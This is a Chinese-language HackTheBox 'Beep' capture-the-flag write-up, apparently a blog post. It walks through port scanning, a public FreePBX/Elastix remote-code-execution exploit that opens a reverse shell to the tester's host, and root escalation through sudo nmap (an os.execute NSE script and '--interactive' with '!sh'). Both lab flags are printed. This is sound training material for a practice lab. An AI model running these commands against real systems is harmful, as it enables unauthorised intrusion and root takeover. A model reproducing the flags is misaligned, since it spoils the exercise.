HackTheBox - Beep Write Up

OS:Linux
DIFFICULTY:Easy

0x01 信息收集

使用naabu扫描目标服务器端口

./naabu -host 10.10.10.7 -tp 1000 -nmap-cli 'nmap -sV'
                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.1.5 (latest)
[INF] Running host discovery scan
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 12 ports on host 10.10.10.7 (10.10.10.7)
10.10.10.7:25
10.10.10.7:3306
10.10.10.7:10000
10.10.10.7:111
10.10.10.7:22
10.10.10.7:4445
10.10.10.7:143
10.10.10.7:993
10.10.10.7:80
10.10.10.7:110
10.10.10.7:995
10.10.10.7:443
[INF] Running nmap command: nmap -sV -p 993,10000,22,4445,143,80,110,443,111,25,3306,995 10.10.10.7
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 22:22 CST
Nmap scan report for localhost (10.10.10.7)
Host is up (0.25s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
25/tcp    open  smtp       Postfix smtpd
80/tcp    open  http       Apache httpd 2.2.3
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
111/tcp   open  rpcbind    2 (RPC #100000)
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
993/tcp   open  ssl/imap   Cyrus imapd
995/tcp   open  pop3       Cyrus pop3d
3306/tcp  open  mysql      MySQL (unauthorized)
4445/tcp  open  upnotifyp?
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.87 seconds

接下来绑定hosts

echo '10.10.10.7 beep.htb' >> /etc/hosts

该靶场扫描出多个端口,接下来我们先根据服务名称和版本号查询一下相关漏洞

搜索一圈好像也没有发现什么能利用的漏洞,暂时先放一放,先看web

访问web后发现这是一个 Elastix 的系统。Elastix 是一个开源的统一通信服务器,它由 PaloSanto Solutions 开发并在 GPL 许可证下发布。Elastix 集成了多种通信工具,包括 IP PBX、邮件服务器、即时通讯、传真和协作功能。

https://beep.htb/

明确了方向后,接下来搜索一下Elastix的相关历史漏洞,共搜索到了7个该系统相关的历史漏洞

0x02 漏洞利用

接下来进行漏洞利用,由于没有登录进系统也很难判断系统的版本号是多少,所以我们先来试一试最后一个远程代码执行漏洞FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution,看看能不能进行利用

在github中搜索关键词:Elastix exp,找到以下漏洞利用的项目

https://github.com/k4miyo/FreePBX-Elastix-RCE-exploit

使用也很简单,通过指定rhost、lhost、lport就可以执行了

将利用脚本下载到本地后,先安装pip依赖

pip3 install -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com pwn

执行以下命令进行漏洞利用,成功拿下普通用户权限

python elastix_rce.py --lhost 10.10.14.18 --lport 65001 --rhost 10.10.10.7

接下来 执行以下命令获得user的flag

find / -name "user.txt"
cat /home/fanis/user.txt

flag:
3ecaa69438fe1a828981f566dd11e1b1

0x03 权限提升

接下来进行权限提升,执行以下命令

sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

好家伙有这么多命令可以以root权限免密执行,而且这台靶机上竟然还装了nmap,那么我们就可以通过以下方式来进行权限提升:

第一种方式:编写NSE脚本进行提权

可以编写一个 NSE 脚本,nmap 支持使用 --script 参数来执行 NSE 脚本,使用 sudo 命令来以 root 用户的身份运行 nmap 并执行该脚本

sudo ehco 'os.execute("/bin/bash")' > /tmp/script.nse
sudo nmap --script=/tmp/script.nse

这些命令会创建一个 NSE 脚本,该脚本会在运行时执行 /bin/bash 命令。然后,它会使用 sudo 命令来以 root 用户的身份运行 nmap 并执行该脚本,这将会获得一个 root 权限的 shell。

结果尝试执行echo命令发现不能创建文件,而且只能在/tmp目录下面,不能cd到其他目录,使用sudo echo也无法创建文件,有点难受,不过nmap还有其他方式进行提权

第二种方式:使用interactive参数进行提权

  1. 执行 sudo nmap --interactive 命令进入 nmap 的交互式模式。
  2. nmap 的交互式模式下,执行 !sh 命令,即可反弹一个具有 root 权限的 shell。这是因为 ! 命令可以在当前 shell 下执行指定的命令,而 sh 命令可以启动一个新的 shell 进程。

执行以下命令成功提升到root权限!!!

sudo nmap --interactive
!sh

接下来获取root的flag

find / -name "root.txt"
cat /root/root.txt

flag:
a60d5947febadcd242e4ea7778bc8e97

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Gh0stX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值